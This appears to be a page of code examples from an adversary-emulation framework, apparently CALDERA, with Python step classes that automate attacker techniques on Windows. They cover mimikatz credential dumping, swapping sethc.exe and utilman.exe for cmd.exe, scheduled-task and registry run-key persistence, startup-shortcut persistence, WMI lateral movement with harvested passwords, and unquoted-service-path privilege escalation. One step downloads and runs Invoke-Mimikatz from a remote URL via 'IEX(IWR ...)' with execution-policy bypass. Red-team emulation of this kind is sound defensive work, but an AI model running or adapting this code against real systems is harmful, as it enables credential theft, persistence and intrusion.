                      ("host_g", OPHost), ("user_g", OPUser)]

    # hacky hint: tells the planner to assume that the credentials are for a user that is local admin on a
    # new host, so that it finds this technique useful
    hints = [("user_g",
              OPUser({
                  '$in': OPVar('host_g.admins'),
                  "domain": OPVar("domain_g")
              })), ("credential_g", OPCredential({"user": OPVar("user_g")}))]

    preproperties = ["host.os_version.major_version"]

    # host_g.fqdn portproperty is a hack so that planner can use it to laterally move
    postproperties = [
        "credential_g.password", "user_g.username", "user_g.is_group",
        "domain_g.windows_domain", "host_g.fqdn"
    ]

    significant_parameters = ["host"]

    cddl = """
    Knowns:
        rat: OPRat[host]
    Effects:
        if not exist rat {
            forget rat
        } elif rat.elevated {
            for cred in rat.host.cached_creds {
                know cred[user[username, is_group, domain[windows_domain], host], password]
            }
        }
    """

    @staticmethod
    def description(host):
        return "Running mimikatz to dump credentials on {}".format(host.fqdn)

    @staticmethod
    async def action(operation, rat, host, domain_g, credential_g, user_g):
        mimikatz_command = MimikatzCommand(privilege_debug(),
                                           sekurlsa_logonpasswords(),
                                           mimi_exit())

        accounts = await operation.execute_powershell(
            rat, "powerkatz",
            PSFunction("Invoke-Mimikatz",
                       PSArg("Command", mimikatz_command.command)),
            parsers.mimikatz.sekurlsa_logonpasswords_condensed)

        for account in accounts:
            user_obj = {
                'username': account['Username'].lower(),
                'is_group': False
            }
            credential_obj = {}
            if 'Password' in account:
                credential_obj['password'] = account['Password']

            if 'NTLM' in account:
                credential_obj["hash"] = account['NTLM']

            # if the domain is not the hostname, this is a Domain account
            if account['Domain'].lower() != host.hostname.lower():
                domain = await domain_g(
                    {'windows_domain': account['Domain'].lower()})
                user_obj['domain'] = domain
            else:
                user_obj['host'] = host

            credential_obj['found_on_host'] = host

            user = await user_g(user_obj)
            credential_obj['user'] = user
            await credential_g(credential_obj)

        return True
Example #16
0
class AssociationAbuse(Step):
    """
    Description:
        This step replaces the default executables of sethc.exe (sticky keys), and utilman.exe (windows + u), with
        cmd.exe. This allows for ready access to a system-level shell, even over RDP or when locked out.
    Requirements:
        Requires an elevated Rat.
    """
    attack_mapping = [('T1015', 'Persistence'),
                      ('T1015', 'Privilege Escalation')]
    display_name = "accessibility_features"
    summary = "Replaces the common utility programs of sethc.exe and utilman.exe with CMD.exe"

    preconditions = [("rat", OPRat({"elevated": True}))]
    postconditions = [("file_g", OPFile),
                      ("persistence_g",
                       OPPersistence({
                           "host": OPVar("rat.host"),
                           "elevated": True
                       }))]

    preproperties = ["rat.host.fqdn"]

    significant_parameters = []

    @staticmethod
    def description():
        return "Replacing default sethc.exe and utilman.exe executables with CMD for persistent access"

    @staticmethod
    async def simulate(operation, rat, persistence_g, file_g):
        return True

    @staticmethod
    async def action(operation, rat, persistence_g, file_g):
        random.seed()
        key_id = random.randint(1, 1000)
        await operation.execute_shell_command(rat, *static.accessFeatA(key_id))
        await operation.execute_shell_command(rat, *static.accessFeatB(key_id))
        f1 = await file_g({
            'host': rat.host,
            'path': str(key_id),
            'use_case': 'modified',
            'src_path': 'C:\\Windows\\System32\\sethc.exe'
        })
        f2 = await file_g({
            'host': rat.host,
            'path': str(key_id),
            'use_case': 'modified',
            'src_path': 'C:\\Windows\\System32\\utilman.exe'
        })
        await persistence_g({'file_artifact': f1, 'host': rat.host.fqdn})
        await persistence_g({'file_artifact': f2, 'host': rat.host.fqdn})
        return True

    @staticmethod
    async def cleanup(cleaner, file_g, persistence_g):
        for entry in file_g:
            pass
        for persist in persistence_g:
            await cleaner.static_revert(
                persist, "move /Y " + persist['file_artifact']['src_path'] +
                '.' + persist['file_artifact']['path'] + " " +
                persist['file_artifact']['src_path'])
Example #17
0
class SchtasksPersist(Step):
    """
    Description:
        This step involves scheduling a startup task on a target machine with the goal of maintaining persistence.
        Any RATs spawn via this method run as SYSTEM.
    Requirements:
        Requires an Elevated RAT, and a accessible copy of the RAT on the target machine.
    """
    attack_mapping = [('T1053', 'Persistence'), ('T1106', 'Execution')]
    display_name = "schtasks_persist"
    summary = "Schedule a startup task to gain persistence using schtask.exe"

    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host"))),
                     ("rat_file",
                      OPFile({
                          "host": OPVar("host"),
                          'use_case': 'rat'
                      }))]

    postconditions = [("schtask_g",
                       OPSchtask({
                           "host": OPVar("host"),
                           "schedule_type": "onstart"
                       })),
                      ("persist_g",
                       OPPersistence({
                           "host": OPVar("host"),
                           "elevated": True
                       }))]

    significant_parameters = ['host']

    preproperties = ["rat_file.path"]
    postproperties = [
        "persist_g.schtasks_artifact", "schtask_g.name", "schtask_g.exe_path"
    ]

    @staticmethod
    def description(rat):
        return "Gaining persistence on {} by scheduling a startup task.".format(
            rat.host.hostname)

    @staticmethod
    async def simulate(operation, rat, host, rat_file, schtask_g, persist_g):
        return True

    @staticmethod
    async def action(operation, rat, host, rat_file, schtask_g, persist_g):
        task_name = operation.adversary_artifactlist.get_scheduled_task_word()
        exe_path = rat_file.path
        arguments = ""

        await operation.execute_shell_command(
            rat,
            *schtasks.create(task_name=task_name,
                             arguments=arguments,
                             exe_path=exe_path,
                             remote_user="******",
                             schedule_type="ONSTART"))

        schtask = await schtask_g({
            "name": task_name,
            "exe_path": exe_path,
            "arguments": arguments
        })
        await persist_g({"schtasks_artifact": schtask})

        return True

    @staticmethod
    async def cleanup(cleaner, schtask_g):
        for schtask in schtask_g:
            await cleaner.delete(schtask)
Example #18
0
class WMIRemoteProcessCreate(Step):
    """
    Description:
        This step starts a process on a remote machine, using the Windows Management Interface (wmic). This allows
        for lateral movement throughout the network.
    Requirements:
        Requires domain enumeration, access to a copy of the RAT on the target machine (usually accomplished using
        Copy or Xcopy), and credentials for an administrator on the target machine (needs both administrator enumeration
        'GetAdmin', and credential data 'Credentials').
    """
    attack_mapping = [('T1047', 'Execution'), ('T1078', 'Persistence'),
                      ('T1078', 'Defense Evasion'), ('T1106', 'Execution')]
    display_name = "remote_process(WMI)"
    summary = "Use WMI to start a process on a remote computer"

    value = 20

    preconditions = [
        ("rat", OPRat), ('dest_host', OPHost),
        ('rat_file', OPFile({
            'host': OPVar('dest_host'),
            'use_case': 'rat'
        })),
        ("cred", OPCredential({'$in': {
            'user': OPVar("dest_host.admins")
        }})), ('user', OPUser(OPVar("cred.user"))),
        ('domain', OPDomain(OPVar("user.domain")))
    ]

    postconditions = [("rat_g",
                       OPRat({
                           "host": OPVar("dest_host"),
                           "elevated": True,
                           "executable": OPVar("rat_file.path")
                       }))]

    not_equal = [('dest_host', 'rat.host')]

    preproperties = [
        'rat_file.path', 'domain.windows_domain', 'dest_host.fqdn',
        'user.username', 'cred.password'
    ]

    deterministic = True

    cddl = """
    Knowns:
        rat: OPRat[host]
        dest_host: OPHost
        rat_file: OPFile[path, host]
        cred: OPCredential[user[domain[windows_domain]], password]
    Where:
        rat.host != dest_host
        rat_file.host == dest_host
    Effects:
        if not exist rat {
            forget rat
        } elif cred.user in dest_host.admins {
            create OPRat[host=dest_host, elevated=True, executable=rat_file.path]
        } 
"""

    @staticmethod
    def description(rat, dest_host):
        return "Starting a remote process on {} using WMI.".format(
            dest_host.fqdn)

    @staticmethod
    async def action(operation, rat, dest_host, user, rat_file, cred, domain,
                     rat_g):
        await operation.execute_shell_command(
            rat,
            *wmic.create(rat_file.path,
                         arguments='-d -f',
                         remote_host=dest_host.fqdn,
                         user=user.username,
                         user_domain=domain.windows_domain,
                         password=cred.password))
        await rat_g()
        return True
Example #19
0
class ServiceManipulateUnquotedLocal(Step):
    """
    Description:
        This step hijacks the search order of an unquoted service path in order to spawn an elevated rat.
    Requirements:
        Requires a non-elevated RAT, and enumeration of unquoted service paths on the target machine (possible
        result of running GetPrivEscSvcInfo).
    """
    attack_mapping = [('T1034', 'Privilege Escalation'), ('T1034', 'Persistence'), ('T1035', 'Execution'),
                      ('T1106', 'Execution')]
    display_name = "service_manipulation(unquoted path)"
    summary = "Abuse unquoted service paths to hijack search order and spawn an elevated rat"

    preconditions = [("host", OPHost),
                     ("rat", OPRat({"elevated": False,
                                    "host": OPVar("host")})),
                     ("service", OPService({'vulnerability': 'unquoted',
                                            'host': OPVar("host"),
                                            'revert_command': "",
                                            'can_restart': True,
                                            'user_context': OPVar("rat.username")}))]
    postconditions = [("rat_g", OPRat({"host": OPVar("host"), "elevated": True})),
                      ("file_g", OPFile({"host": OPVar("host"),
                                         "src_host": OPVar("host"),
                                         "src_path": OPVar("rat.executable"),
                                         'use_case': "rat"})),
                      ("service_g", OPService)]

    @staticmethod
    def description(rat, service, host):
        return "Attempting to abuse {}'s unquoted path on {}".format(service.name, host.hostname)

    @staticmethod
    async def simulate(operation, rat, service, host, rat_g, service_g, file_g):
        return True

    @staticmethod
    async def action(operation, rat, service, host, rat_g, service_g, file_g):
        for path in service.modifiable_paths:
            try:
                await operation.execute_shell_command(rat, *cmd.copy(rat.executable, path))
            except (AccessDeniedError, FileInUseError):
                # for some reason we couldn't actually write to "path", move on to the next one
                # or this specific file we're trying to create already exists, so try a different one
                continue
            await file_g({'path': path})
            # if we get here, the copy worked, so now we need to restart the service
            if service.can_restart:
                try:
                    await operation.execute_shell_command(rat, *sc.stop(service.name))
                    await asyncio.sleep(2)  # make sure the service has time to properly stop
                    await operation.execute_shell_command(rat, *sc.start(service.name))
                except ServiceNotStartedError:
                    pass  # this is fine in our case if it isn't already running
                except (AccessDeniedError, ServiceAlreadyRunningError, UnresponsiveServiceError):
                    await service_g({'name': service.name,  # update our service with what we modified
                                     'host': service.host,  # these first three uniquely id this service
                                     'vulnerability': service.vulnerability,
                                     'revert_command': "echo \"Not Vulnerable\""})
                    return False
            else:
                await operation.execute_shell_command(rat, *cmd.shutdown(reboot=True, delay=0, force=True))
                # todo add api to wait for reboot
                await asyncio.sleep(120)  # wait 2 minutes for box to reboot
            await rat_g()
            return True
        # We've gone though all the possible paths and none have worked, mark this as a failure
        await service_g({'name': service.name,  # update our service with what we modified
                         'host': service.host,  # these first three uniquely id this service
                         'vulnerability': service.vulnerability,
                         'revert_command': "echo \"Not Vulnerable\""})
        return False

    @staticmethod
    async def cleanup(cleaner, host, service, file_g):
        # stop the service so we can delete the files
        try:
            await cleaner.run_on_agent(host, *sc.stop(service['name']))
        except ServiceNotStartedError:
            pass
        except CantControlServiceError:
            log.debug("Can't stop {} on {}, so can't delete {}".format(service.name,
                                                                       service.host,
                                                                       file_g[0].path))
        for file in file_g:
            if file['use_case'] == 'rat':
                await cleaner.delete(file)
Example #20
0
class DumpCreds(Step):
    """    Description:
            This step uses Invoke-Mimikatz to get credentials of the current system.
           Requirements:
            An elevated RAT.
    """
    display_name = "dump_creds"
    summary = "Run Invoke-Mimikatz to obtain credentials."
    attack_mapping = [('T1003', 'Credential Access'),
                      ('T1064', 'Defense Evasion'), ('T1064', 'Execution'),
                      ('T1086', 'Execution'), ('T1106', 'Execution')]

    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host")))]
    postconditions = [("domain_g", OPDomain), ("credential_g", OPCredential),
                      ("host_g", OPHost),
                      ("user_g", OPUser({'$in': OPVar("host.admins")})),
                      ("file_g", OPFile)]

    postproperties = [
        "credential_g.password", "user_g.username", "user_g.is_group",
        "domain_g.windows_domain"
    ]

    hints = [("user_g",
              OPUser({
                  '$in': OPVar('host_g.admins'),
                  "domain": OPVar("domain_g")
              })), ("credential_g", OPCredential({"user": OPVar("user_g")}))]

    significant_parameters = ["host"]

    @staticmethod
    def description(rat):
        return "Running mimikatz to dump credentials on {}".format(
            rat.host.fqdn)

    @staticmethod
    def parser(mimikatz_output):
        credentials = []
        results = re.findall(
            'Username\s*:\s+(.*)\s*\* Domain\s*:\s+(.*)\s*\* Password\s*:\s+(.*)',
            mimikatz_output, re.MULTILINE)

        for result in results:
            if not result[2] or result[2] == '(null)':
                continue
            credentials.append({
                'username': result[0].lower().strip(),
                'domain': result[1].lower().strip(),
                'password': result[2].strip()
            })

        return credentials

    @staticmethod
    async def action(operation, rat, domain_g, credential_g, host_g, user_g,
                     file_g):
        # Step 1: run Mimikatz in memory
        MIMIKATZ_URL = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1"
        ps_parameters = [
            'powershell.exe', '-exec', 'bypass', '-C',
            'IEX(IWR \'{}\'); Invoke-Mimikatz -DumpCreds'.format(MIMIKATZ_URL)
        ]

        async def drop_file(path, contents):
            await operation.drop_file_contents(rat,
                                               file_path_dest=path,
                                               file_contents=bytes(
                                                   contents, 'utf-8'))

        async def register_file(path):
            await file_g({'path': path, 'host': rat.host})

        cmd = command.CustomCommandLine(ps_parameters)
        await cmd.generate(drop_file, register_file)

        credentials = (await
                       operation.execute_shell_command(rat, cmd,
                                                       DumpCreds.parser))

        # Step 2: parse credentials
        users = []
        for cred in credentials:
            # Generate User object
            user = {'username': cred['username'], 'is_group': False}
            if cred['domain'].upper() == rat.host.hostname.upper():
                user['host'] = rat.host
            else:
                user['domain'] = await domain_g(
                    {'windows_domain': cred['domain']})

            user_obj = await user_g(user)

            # Generate Credential object
            await credential_g({
                'password': cred['password'],
                'found_on_host': rat.host,
                'user': user_obj
            })

        return True

    @staticmethod
    async def cleanup(cleaner, file_g):
        for entry in file_g:
            await cleaner.delete(entry)
Example #21
0
class Modify_Shortcut(Step):
    """
    Description:
        This step attempts to obtain persistence by creating and manipulating a shortcut in the
        Windows startup folder.
    Requirements:
        Requires an elevated rat on the target machine.
    """
    attack_mapping = [('T1023', 'Persistence')]
    display_name = "shortcut_modify"
    summary = "Modifies a startup shortcut in order to maintain persistence"

    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host")))]
    postconditions = [("file_g", OPFile),
                      ("persistence_g",
                       OPPersistence({
                           "host": OPVar("host"),
                           "elevated": True
                       }))]

    preproperties = ["rat.host.fqdn"]

    significant_parameters = []

    @staticmethod
    def description():
        return "Installing startup shortcut for persistence"

    @staticmethod
    async def simulate(operation, rat, host, persistence_g, file_g):
        return True

    @staticmethod
    async def action(operation, rat, host, persistence_g, file_g):
        target_path = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\caldera.lnk"
        rat_loc = "C:\\totally_innocent_executable_seal.exe"
        await operation.drop_file(rat, rat_loc, config.settings.exe_rat_path)
        await operation.execute_shell_command(
            rat, *static.shortcutmodify(target_path, rat_loc))
        ret = await file_g({
            'path': target_path,
            'host': rat.host,
            'use_case': 'dropped'
        })
        await persistence_g({'host': rat.host, 'shortcut_artifact': ret})
        await file_g({
            'path': target_path,
            'host': rat.host,
            'use_case': 'dropped'
        })
        await file_g({
            'path': rat_loc,
            'host': rat.host,
            'use_case': 'dropped'
        })
        return True

    @staticmethod
    async def cleanup(cleaner, file_g):
        for entry in file_g:
            await cleaner.delete(entry)
Example #22
0
class HKURunKeyPersist(Step):
    """
    Description:
        This step creates an entry in the registry under HKU\\<sid>\\Software\\Microsoft\\windows\\CurrentVersion\\Run
        in order to maintain persistence. This results in the RAT being executed whenever a targeted user logs on.
    Requirements:
        Requires enumeration of local profiles on the target machine (done using GetLocalProfiles), and an
        elevated RAT.
    """
    attack_mapping = [('T1060', 'Persistence'), ('T1106', 'Execution')]
    display_name = "hku_runkey_persist"
    summary = (
        "Use reg.exe to gain persistence by inserting run key values into local user profiles. This will cause "
        "the rat to be executed when any of the affected users logs on")

    preconditions = [("rat", OPRat({"elevated": True})),
                     ("host", OPHost(OPVar("rat.host"))),
                     ("user", OPUser({'$in': OPVar("host.local_profiles")}))]

    postconditions = [("regkey_g", OPRegKey({"host": OPVar("host")})),
                      ("persist_g",
                       OPPersistence({
                           "host": OPVar("host"),
                           "user_context": OPVar("user"),
                           "elevated": False
                       }))]

    significant_parameters = ["user", "host"]

    postproperties = [
        "persist_g.regkey_artifact", "regkey_g.key", "regkey_g.value",
        "regkey_g.data"
    ]

    @staticmethod
    def description(rat, host, user):
        return "Attempting to create a run key on {} for {}".format(
            host.hostname, user.username)

    @staticmethod
    async def simulate(operation, rat, host, user, regkey_g, persist_g):
        return True

    @staticmethod
    async def action(operation, rat, host, user, regkey_g, persist_g):
        value = "caldera"
        data = rat.executable

        u_profile_path = "C:\\Users\\{}\\ntuser.dat".format(
            user.username)  # Assumption: this is where profile path is.
        # TODO: save this info in db during GetLocalProfiles
        u_key = "HKU\\{}".format(user.sid)

        #  Check if user's SID is already in HKU
        key_loaded = False
        relative_key = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
        run_key = u_key + "\\" + relative_key
        loaded = False
        while not loaded:
            try:
                await operation.execute_shell_command(
                    rat,
                    *reg.add(key=run_key, value=value, data=data, force=True))
                loaded = True
            except IncorrectParameterError:  # Load user into HKU
                try:
                    await operation.execute_shell_command(
                        rat, *reg.load(key=u_key, file=u_profile_path))
                    key_loaded = True
                except FileInUseError:
                    log.warning("The hive could not be loaded.")
                    return False

        if key_loaded:  # Unload key (if a key was loaded earlier)
            await operation.execute_shell_command(
                rat, *reg.unload(key=u_key.format(user.sid)))
            regkey = await regkey_g({
                'host': host,
                'key': relative_key,
                'value': value,
                'data': data,
                'path_to_file': u_profile_path
            })
        else:
            regkey = await regkey_g({
                'key': run_key,
                'value': value,
                'data': data
            })

        await persist_g({'regkey_artifact': regkey})

        return True

    @staticmethod
    async def cleanup(cleaner, regkey_g):
        for regkey in regkey_g:
            await cleaner.delete(regkey)